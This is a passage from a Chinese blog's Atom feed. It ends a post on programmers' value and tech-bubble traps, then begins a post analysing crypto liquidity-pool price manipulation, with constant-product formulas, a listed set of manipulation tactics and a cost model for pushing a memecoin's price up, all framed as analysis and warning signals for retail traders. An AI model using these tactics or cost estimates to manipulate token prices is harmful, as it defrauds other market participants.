「融资寒冬」的论调，十有八九已经不行了。</li><li>IPO 市场遇冷。 如果该技术领域的相关企业 IPO 数量锐减，IPO 估值大幅缩水。</li><li>行业投资并购 (M&amp;A) 活动减少。投资机构和大型企业在该技术领域的投资并购活动明显减少。</li><li>行业独角兽企业估值下调。如果该技术领域的头部独角兽企业估值被下调，或者出现融资困难、裁员降薪等负面新闻，说明市场对该领域头部企业的增长前景产生疑虑。</li><li>「抢人」 变 「裁员」，高薪神话破灭。❌ 招聘需求大幅减少，❌ 薪资水平回调，❌ 求职难度增加，❌ 培训机构招生遇冷，❌ 从业者开始转行。</li><li>「野蛮生长」 结束，政策风险加大。❌ 政府监管政策收紧，出台限制政策。❌ 媒体负面报道增多，质疑技术伦理。❌ 政策风向转变，开始由 「鼓励创新」 转向 「规范发展」，甚至出现 「限制发展」 。❌ 行业标准和规范出台，创新空间被压缩，行业竞争格局趋于稳定。</li><li>「讲故事」 难以为继，盈利模式受挑战。用户增长放缓甚至停滞，说明用户需求可能已经饱和或者产品不行。盈利能力持续下降，说明商业模式可能存在缺陷，无法支撑长期发展。商业模式无法持续长期停留在 「烧钱换增长」、「补贴抢用户」 的阶段。</li><li>「叫好不叫座」，用户并不买账。产品渗透率停滞不前，目标用户采用率上不去。用户活跃度 (DAU/MAU)、用户留存率、市场营销效果下降，负面反馈增多。</li></ol><p>不要害怕泡沫，✅ 提前布局转型，多元化自己的技能，并且时常关注长期趋势，总是能找到下一个行业。✅ 打造个人品牌，积累项目经验，有亮眼的个人作品，总是能在下一个工作中被认可。✅ 规划好财务，赚到的钱留得住，理财升值，避免陷入财务危机，病急乱投医。 ✅  危机时刻，人脉和资源往往能助你渡过难关。拓展人脉，积累资源，多力所能及帮助别人，发表观点，参与社群。✅ 习惯变化，终身学习。</p><h2 id="技术与业务的错位陷阱">技术与业务的错位陷阱</h2><p>技术本身不应是目的，而应是服务于业务增长和用户价值实现的手段。</p><p>🔥 技术超前性陷阱：领先半步是创新，领先一步变陷阱。</p><p>盲目追逐最新、最前沿的技术，在业务需求尚未明确或场景尚不成熟时，过度投入复杂技术。技术看似先进，实则脱离实际，徒增成本。造成<strong>时机错配，资源错投。</strong> 技术能力超出业务需求，造成资源闲置和浪费。</p><p>典型的后果是，研发成本飙升但是业务价值缺失。超前技术往往意味着更高的研发投入、学习成本和维护难度。但是技术无法有效应用于当前业务，难以产生实际收益，投资回报率低下。</p><p>所以应该始终从业务痛点和目标出发，明确技术需求，避免「为技术而技术」。对技术方案应该评估成熟度、稳定性和应用成本，选择与当前业务阶段匹配的技术。实现时，先进行小范围 MVP 验证，快速试错，确认可行性后再推广。</p><p>要始终保持着投入产出比的意识，衡量技术投入与预期业务收益，确保技术投资回报合理。</p><p>🔥 路径依赖黑洞：舒适区是陷阱，惯性思维要打破。</p><p>长期固守过时或落后的技术，即使新技术更优，也因惯性思维和既有投入而不愿转型，最终错失发展良机。这是因为组织内部缺乏变革动力，认知固化，组织惰性。这样的企业会逐渐的技术落后，造成产品体验下降，逐渐被市场淘汰。而且企业缺乏创新，技术环境落后，难以吸引和留住优秀人才。</p><p>建设性避免方案：</p><ul><li><strong>保持技术敏感性：</strong> 密切关注技术趋势，及时识别颠覆性技术，保持对新技术的开放心态。</li><li><strong>前瞻性技术布局：</strong> 设立技术预研机制，提前布局未来技术，为技术转型储备能力。</li><li><strong>勇于打破技术惯性：</strong> 高层领导需有变革决心，推动技术转型，即使短期内付出代价。</li><li><strong>打造学习型组织：</strong> 鼓励员工学习新技术，降低转型阻力，营造拥抱变化的组织文化。</li><li><strong>引入外部智力：</strong> 必要时引入外部咨询，评估技术现状，制定转型策略，降低转型风险。</li></ul><p>🔥 伪需求传导失真：方向错了，努力白费。</p><p>基于对用户需求的错误理解或臆想，而非真实用户数据，开发技术方案。技术看似先进，实则用户并不需要，无法产生实际价值。这个需要产品背锅，犯了需求偏差，主观臆断的毛病。</p><p>用户调研，了解需求、痛点和使用场景永远是第一步。开发的时候也要小步快跑，快速迭代，先上线得到反馈，再不断优化。市场反馈要数据化，用数据驱动决策，而不是凭着感觉。做的产品是给用户用，以提升用户体验为最终目标，而不是去打造自己想要的产品。</p><blockquote><p>感谢启发： <a href="https://mp.weixin.qq.com/s/Oh_5mK3bSYIk3LGMgnQLQA">https://mp.weixin.qq.com/s/Oh_5mK3bSYIk3LGMgnQLQA</a></p></blockquote>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/dev/value-of-software-engineering/</id>
    <link href="https://www.blog-blockchain.xyz/dev/value-of-software-engineering/"/>
    <published>2025-03-09T18:01:20.000Z</published>
    <summary>程序员的核心价值是利用技术为企业创造业务价值，而非纯粹的技术能力。其价值公式 V=Σ（技术杠杆率×业务价值密度）揭示了价值来源：技术杠杆放大个人产出，业务价值密度决定场景潜力。不同场景和行业对程序员价值估值各异，通用价值体现在解决复杂问题、优化性能、提升效率、推动创新和降低成本等方面。程序员需拥抱多元技术栈，精进核心技能，提升业务理解和复合能力。技术价值受稀缺性、适配度和泡沫溢价率影响，需警惕技术超前、路径依赖和伪需求陷阱。逃离泡沫需识别资本退潮、人才降温、监管收紧等信号，并提前转型、提升能力、谨慎投资、拓展人脉和终身学习。</summary>
    <title>程序员的价值在哪里</title>
    <updated>2026-02-19T16:18:01.166Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="career" scheme="https://www.blog-blockchain.xyz/categories/career/"/>
    <category term="finance" scheme="https://www.blog-blockchain.xyz/categories/career/finance/"/>
    <category term="crypto" scheme="https://www.blog-blockchain.xyz/tags/crypto/"/>
    <category term="trading" scheme="https://www.blog-blockchain.xyz/tags/trading/"/>
    <content>
      <![CDATA[<h2 id="TL-DR-简读版">TL;DR 简读版</h2><ul><li>不充分市场=情绪主导+流动性决定价格弹性，叙事只是火花。</li><li>价格操纵的核心在于“流动性池的设计与管理”（AMM/DLMM），远比口号重要。</li><li>常见四手法：扩/缩池、单边加池砸盘、锁仓挖矿、跨池价差；多为组合拳。</li><li>DLMM提升“精准操盘”与误判风险：重点关注Bin真空区与单边加池行为。</li><li>成本模型（近似）：恒定乘积下把价格从 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 推到 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，所需基准币约为 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.04em;vertical-align:-0.1828em;"></span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8572em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.8172em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1828em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>；忽略手续费/税/外部流动。</li><li>识别信号：低位减池+单边加基准币、高位撤池、跨池异常价差、挖矿APY异常高等。</li></ul><span id="more"></span><p><strong>关键词：</strong> 加密货币市场、流动性池操控、AMM机制、庄家博弈、风险管理</p><hr><h2 id="1-引言">1. 引言</h2><p>在金融市场的丛林中，“暴富&quot;二字总是充满诱惑。相对于成熟、高效的传统市场，那些不充分的市场——由于信息不对称、监管缺失、参与者结构单一等原因——往往潜藏着更大的波动性和&quot;机会”。</p><p>加密货币市场正是这样一个典型的不充分市场。在这里，从追求Alpha（超额收益）到极端情况下的&quot;坐庄&quot;，各种策略和路径层出不穷。本文将从金融操作的角度，系统性地剖析这个市场的运作机制，为读者揭示暴富背后的数学逻辑和操作密码。</p><p><strong>研究目标：</strong></p><ul><li>建立流动性池操控的数学模型，量化庄家操作成本</li><li>分析现代坐庄的系统性方法和博弈机制</li><li>构建散户在高风险环境下的生存策略框架</li><li>探讨加密市场的演进趋势和终局思考</li></ul><h2 id="2-理论背景">2. 理论背景</h2><h3 id="2-1-从Alpha追逐到现实觉醒：参与者的典型路径">2.1 从Alpha追逐到现实觉醒：参与者的典型路径</h3><p><strong>Alpha认知的常见演化</strong></p><p>在2019-2021年的行情背景下，许多新入场者将市场视为“智力决定收益”的场域：通过研读白皮书、分析团队与技术、提前布局潜力项目以期获得超额收益。该阶段的核心假设是：信息差与专业门槛带来可观的Alpha空间。</p><p>2022年熊市提供了反例证据：</p><ul><li>技术先进的项目在流动性整体紧缩时亦可下跌90%</li><li>团队优质的协议在监管冲击面前可能归零</li><li>基本面研究难以抵御强力筹码与流动性主导的砸盘</li></ul><p><strong>从经验到机制的转向</strong></p><p>加密市场更接近“情绪+流动性”的复合系统，而非完全理性的技术驱动市场。许多早期通过“专业研究”获利的参与者，实际受益于广谱牛市环境而非纯粹分析优势。</p><p>进一步的结构性观察显示：在散户仍研究基本面时，筹码往往已被收集；在技术机制刚被理解时，内幕与叙事已扩散至内圈；在准备入场时，先行资金可能已启动分发。这解释了传统 Alpha 路径在机构化与工具普及后快速收缩的现象（公开的链上数据与情报面板降低了信息不对称）。</p><p>随着机构资本的大量涌入和专业工具的普及，传统的 Alpha 获取方式正在快速失效。公开的链上数据平台（如 Smart Money 交易流、PnL 分布、持仓行为等维度）普及，既提升了“有效”信息的可得性，也在客观上减少了整体可被个体独占的 Alpha。当所有人都能看到 Smart Money 的动向时，Smart Money 本身就不再“稀缺”。</p><h3 id="2-2-市场结构与-Alpha-收缩">2.2 市场结构与 Alpha 收缩</h3><p>加密货币市场已由早期的技术驱动，演变为以情绪与流动性为核心的复合结构：</p><ul><li><strong>价值层（约30%）</strong>：BTC 的“数字黄金”属性、ETH 的智能合约基础设施</li><li><strong>情绪层（约60%）</strong>：Meme 叙事、FOMO、注意力经济主导短期价格弹性</li><li><strong>投机层（约10%）</strong>：纯博弈与对赌行为在极端波动时占优</li></ul><p>与此同时，Alpha 的商业化加速：当单体参与者难以稳定变现其研究与洞见时，信息平台将“信息差”转化为订阅或工具化的看板与提醒（如成交流、地址画像、路由与流动性监控）。这既提升了信息可得性，也在客观上稀释了可被个体独占的 Alpha 空间。</p><h2 id="3-方法论">3. 方法论</h2><h3 id="3-1-数学建模方法">3.1 数学建模方法</h3><p>本研究采用AMM（自动做市商）恒定乘积公式作为基础模型：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord text"><span class="mord">const</span></span></span></span></span></span></p><p>其中 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 为代币数量，<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> 为基础货币数量，<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 为恒定乘积。</p><h3 id="3-2-案例研究方法">3.2 案例研究方法</h3><p>通过对$pwease 等真实案例的链上数据分析，验证理论模型的有效性。</p><h3 id="3-3-工具分析方法">3.3 工具分析方法</h3><p>系统归纳链上分析工具可提供的信息类型（如：成交流/大额地址追踪、PnL 分布、地址画像、流动性与路由监控），用于支撑后续机制分析（不涉及具体平台推荐）。</p><h2 id="4-流动性池操控的数学原理">4. 流动性池操控的数学原理</h2><h3 id="4-1-恒定乘积公式解析">4.1 恒定乘积公式解析</h3><p>以标准Pump.fun代币为例：</p><ul><li>总供给量：10亿MEME</li><li>初始流动性池：2亿MEME + 79 SOL</li><li>SOL价格：150 USDT</li></ul><p>恒定乘积：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">79</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1.58</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">10</span></span></span></span></span></span></span></span></span></span></span></span></p><h3 id="4-2-拉盘成本计算模型（假设与边界）">4.2 拉盘成本计算模型（假设与边界）</h3><p>以下为“恒定乘积AMM近似”下的示例计算，用于刻画量级与趋势，非精确实盘成本。实际成本受手续费、交易税、做市补贴、滑点设定、外部流动性注入/撤出等影响，且不同平台/池型公式不同（如DLMM、CLMM）。</p><p>通用设定：初始储备 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>（代币数量）、<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>（基准币数量），<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>；价格以“基准币/代币”计价，目标价格 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。若以“目标市值 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span></span></span></span>”为目标，且总供给为 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span>、基准币美元价为 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span></span></span></span>，则 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span><span class="mord">/</span><span class="mord mathnormal">Q</span></span></span></span>。</p><p>恒定乘积近似推导：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.9436em;vertical-align:-0.836em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.836em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:1em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">⇒</span><span class="mspace"> </span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.24em;vertical-align:-0.2339em;"></span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.0061em;"><span class="svg-align" style="top:-3.2em;"><span class="pstrut" style="height:3.2em;"></span><span class="mord" style="padding-left:1em;"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.9661em;"><span class="pstrut" style="height:3.2em;"></span><span class="hide-tail" style="min-width:1.02em;height:1.28em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.28em" viewBox="0 0 400000 1296" preserveAspectRatio="xMinYMin slice"><path d="M263,681c0.7,0,18,39.7,52,119c34,79.3,68.167,158.7,102.5,238c34.3,79.3,51.8,119.3,52.5,120c340,-704.7,510.7,-1060.3,512,-1067l0 -0c4.7,-7.3,11,-11,19,-11H40000v40H1012.3s-271.3,567,-271.3,567c-38.7,80.7,-84,175,-136,283c-52,108,-89.167,185.3,-111.5,232c-22.3,46.7,-33.8,70.3,-34.5,71c-4.7,4.7,-12.3,7,-23,7s-12,-1,-12,-1s-109,-253,-109,-253c-72.7,-168,-109.3,-252,-110,-252c-10.7,8,-22,16.7,-34,26c-22,17.3,-33.3,26,-34,26s-26,-26,-26,-26s76,-59,76,-59s76,-60,76,-60zM1001 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2339em;"><span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:1em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" 